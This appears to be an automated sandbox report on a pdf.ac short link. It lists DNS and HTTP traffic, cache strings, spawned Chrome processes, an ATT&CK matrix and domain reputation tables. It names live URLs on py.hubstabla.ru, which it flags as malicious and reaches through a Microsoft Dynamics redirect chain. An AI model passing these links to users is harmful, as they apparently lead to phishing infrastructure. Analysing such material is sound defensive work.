Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: sjj8xagxlhit5lkygqpdxl2nzrouque6xhsij2rqxih9v9x1py6qvpiv.ygncsqvu.ru
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /collect HTTP/1.1Host: fga.infrateam.netConnection: keep-aliveContent-Length: 1258sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-platform: "Windows"x-faro-session-id: 652dbb9ebce848019b59684b5941e680sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36x-api-key: api_keyContent-Type: application/jsonAccept: */*Origin: https://www.pdffiller.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	TCP traffic: 192.168.11.20:51163 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:51163 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:51163 -> 239.255.255.250:1900
Source: global traffic	TCP traffic: 192.168.11.20:51163 -> 239.255.255.250:1900

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 19 Dec 2024 15:27:46 GMTContent-Type: text/htmlContent-Length: 548Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 15:28:07 GMTContent-Type: text/plain; charset=utf-8Transfer-Encoding: chunkedConnection: closex-ms-trace-id: d5aebeb5ffad2b910f6dc16b627683dcStrict-Transport-Security: max-age=2592000; preload
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 15:28:08 GMTContent-Type: text/htmlContent-Length: 548Connection: closeStrict-Transport-Security: max-age=2592000; preload
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 15:28:08 GMTContent-Type: text/plain; charset=utf-8Transfer-Encoding: chunkedConnection: closex-ms-trace-id: 549d8ec8ddd0d810bf0f58d5e785adccStrict-Transport-Security: max-age=2592000; preload
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Dec 2024 15:28:16 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 8FBSWjMXF0tw3sL3xDn4L2MNJhyYvFRP1xs=$CBNYStkPFyBY8yt9Server: cloudflareCF-RAY: 8f486be4ee3032f9-JAXalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Dec 2024 15:28:19 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: FN2qLNVJPrKlOiY0Za0aoSpTo2UNVr8cqcw=$2bSlTxEvtddG5T6ycache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f486bfb4f09bf91-ATLalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Dec 2024 15:28:28 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: 15u5DnMmEFR1pZRyuDuPpa4uKcAyBPze/No=$zbiDl/y8zhGr2fO+cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f486c32583f32e9-JAXalt-svc: h3=":443"; ma=86400

Source: chromecache_226.1.dr, chromecache_233.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_236.1.dr, chromecache_240.1.dr	String found in binary or memory: http://www.hooverwebdesign.com
Source: chromecache_219.1.dr, chromecache_376.1.dr	String found in binary or memory: https://a.quora.com/qevents.js
Source: chromecache_242.1.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_207.1.dr, chromecache_301.1.dr	String found in binary or memory: https://app.upsellit.com
Source: chromecache_224.1.dr, chromecache_219.1.dr, chromecache_350.1.dr, chromecache_200.1.dr, chromecache_376.1.dr, chromecache_246.1.dr, chromecache_272.1.dr, chromecache_242.1.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_315.1.dr, chromecache_370.1.dr	String found in binary or memory: https://cxppusa1rdrect01sa02cdn.blob.core.windows.net/botdetection/BotDetection/BotDetection.bundle.
Source: chromecache_226.1.dr, chromecache_233.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_242.1.dr	String found in binary or memory: https://google.com
Source: chromecache_242.1.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chromecache_242.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_224.1.dr, chromecache_219.1.dr, chromecache_350.1.dr, chromecache_200.1.dr, chromecache_376.1.dr, chromecache_246.1.dr, chromecache_272.1.dr, chromecache_242.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_207.1.dr, chromecache_301.1.dr	String found in binary or memory: https://prod.upsellit.com
Source: chromecache_315.1.dr	String found in binary or memory: https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/cp/TNVXGZpAEEeVLNC
Source: chromecache_370.1.dr	String found in binary or memory: https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/cp/yuBJq0y44kKNqEf
Source: chromecache_315.1.dr	String found in binary or memory: https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/yuBJq0y44kKNqEfc
Source: chromecache_370.1.dr	String found in binary or memory: https://py.hubstabla.ru/soYF/#msdynmkt_trackingcontext=ab49e0ca-b84c-42e2-8da8-47dcc1154be4
Source: chromecache_376.1.dr	String found in binary or memory: https://q.quora.com/_/ad/
Source: chromecache_224.1.dr, chromecache_272.1.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_224.1.dr, chromecache_219.1.dr, chromecache_350.1.dr, chromecache_200.1.dr, chromecache_376.1.dr, chromecache_246.1.dr, chromecache_272.1.dr, chromecache_242.1.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_242.1.dr	String found in binary or memory: https://www.google.com
Source: chromecache_242.1.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_242.1.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_224.1.dr, chromecache_219.1.dr, chromecache_350.1.dr, chromecache_200.1.dr, chromecache_376.1.dr, chromecache_246.1.dr, chromecache_272.1.dr, chromecache_242.1.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_224.1.dr, chromecache_219.1.dr, chromecache_350.1.dr, chromecache_200.1.dr, chromecache_376.1.dr, chromecache_246.1.dr, chromecache_272.1.dr, chromecache_242.1.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/
Source: chromecache_224.1.dr, chromecache_272.1.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_207.1.dr, chromecache_301.1.dr	String found in binary or memory: https://www.upsellit.com
Source: chromecache_207.1.dr, chromecache_301.1.dr	String found in binary or memory: https://www.upsellit.com/active/pdffiller_pixel.jsp
Source: chromecache_207.1.dr, chromecache_301.1.dr	String found in binary or memory: https://www.upsellit.com/active/pdffiller_pixel.jsp?v=1
Source: chromecache_207.1.dr, chromecache_301.1.dr	String found in binary or memory: https://www.upsellit.com/active/pdffiller_pixel.jsp?v=2
Source: chromecache_207.1.dr, chromecache_301.1.dr	String found in binary or memory: https://www.upsellit.com/launch/blank.jsp?aff_click=
Source: chromecache_207.1.dr, chromecache_301.1.dr	String found in binary or memory: https://www.upsellit.com/launch/blank.jsp?pixel_found=
Source: chromecache_207.1.dr, chromecache_301.1.dr	String found in binary or memory: https://www.upsellit.com/launch/blank.jsp?user_id_missed_email=
Source: chromecache_224.1.dr, chromecache_219.1.dr, chromecache_376.1.dr, chromecache_272.1.dr	String found in binary or memory: https://www.youtube.com/iframe_api

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=1832,i,4581618519772567088,118076782903170394,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2220 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pdf.ac/3eQ2md"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=1832,i,4581618519772567088,118076782903170394,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2220 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 236	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 240
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 240	Jump to dropped file

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	12 Masquerading	OS Credential Dumping	1 Network Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Reputation
py.hubstabla.ru	104.21.16.173	true	true	unknown
sjj8xagxlhit5lkygqpdxl2nzrouque6xhsij2rqxih9v9x1py6qvpiv.ygncsqvu.ru	172.67.168.1	true	false	unknown
fga.infrateam.net	34.199.247.225	true	false	unknown
sks.mrkhub.com	54.167.24.157	true	false	high
static.pdffiller.com	54.210.199.224	true	false	high
api.usrsprt.com	3.223.235.15	true	false	high
d22ae2h56hzn7.cloudfront.net	18.64.155.98	true	false	unknown
www.upsellit.com	34.117.39.58	true	false	high
pdf.ac	34.192.116.100	true	false	unknown
cdn.usrsprt.com	13.32.230.98	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
www.google.com	74.125.21.105	true	false	high
d2rn6xhdztxqr5.cloudfront.net	3.161.193.65	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
cdn.mrkhub.com	216.137.45.56	true	false	high
github.com	140.82.112.3	true	false	high
prdia888eus0aks.mkt.dynamics.com	52.146.76.30	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
support-backend.usrsprt.com	34.237.249.87	true	false	high
o178032.ingest.us.sentry.io	34.120.195.249	true	false	high
googleads.g.doubleclick.net	74.125.134.157	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
td.doubleclick.net	173.194.216.155	true	false	high
d19d360lklgih4.cloudfront.net	18.164.78.8	true	false	unknown
objects.githubusercontent.com	185.199.108.133	true	false	high
www.pdffiller.com	unknown	unknown	false	high
fileservice.pdffiller.com	unknown	unknown	false	high
public-usa.mkt.dynamics.com	unknown	unknown	false	high
a.quora.com	unknown	unknown	false	high
desk19-rest.pdffiller.com	unknown	unknown	true	unknown
static-ak.pdffiller.com	unknown	unknown	false	high
q.quora.com	unknown	unknown	false	high
jsfiller-cdn.pdffiller.com	unknown	unknown	false	high
ok4static.oktacdn.com	unknown	unknown	false	high
cdn.pdffiller.com	unknown	unknown	false	high

Name	Malicious	Reputation
https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/TNVXGZpAEEeVLNCQ-7w9cAEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fpublic-usa.mkt.dynamics.com%252Fapi%252Forgs%252Fbe64e573-e0bd-ef11-b8e4-000d3a106803%252Fr%252FyuBJq0y44kKNqEfcwRVL5AEAAAA%253Ftarget%253D%257B%2522TargetUrl%2522%25253A%2522https%2525253A%2525252F%2525252Fpy.hubstabla.ru%2525252FsoYF%2525252F%2522%25252C%2522RedirectOptions%2522%25253A%257B%25225%2522%25253Anull%25252C%25221%2522%25253Anull%257D%257D%2526digest%253Df0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%25253D%2526secretVersion%253Da587597bbd2d4ba3bb4334f6d8be15ee%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=ce6Yi49QL7%2BEXcaIli3%2FTFOTczuiNNnio12L4NDMer0%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	false	high
https://code.jquery.com/jquery-3.6.0.min.js	false	high
https://fga.infrateam.net/collect	false	unknown
https://public-usa.mkt.dynamics.com/favicon.ico	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/k7580/0x4AAAAAAA2J8l5wXcrrlHeR/auto/fbE/normal/auto/	false	high
https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	true	unknown
https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/cp/TNVXGZpAEEeVLNCQ-7w9cGUGaHFSag9BraDM_7x5vlY	false	high
https://a.nel.cloudflare.com/report/v4?s=7QEi0gv6%2BXkSOi5pRcg55L6bWAxohQ6DMkL45YWJw5f46TLiWnsdYZFtZyMyEJcNGBdJOXlTlaES4wx3S9NkuT5lZ0CHgOfUF1NaXL3Oo9Y93CmU6P5Wy9x6KSogXw%3D%3D	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false	high
https://challenges.cloudflare.com/turnstile/v0/b/787bc399e22f/api.js	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8f486bd1c9f9dd24/1734622095008/756065e185567f593383d708464a4281b8ade0759c0d2428f2e2490948adfe56/WJBHQYiTaX1uS0f	false	high
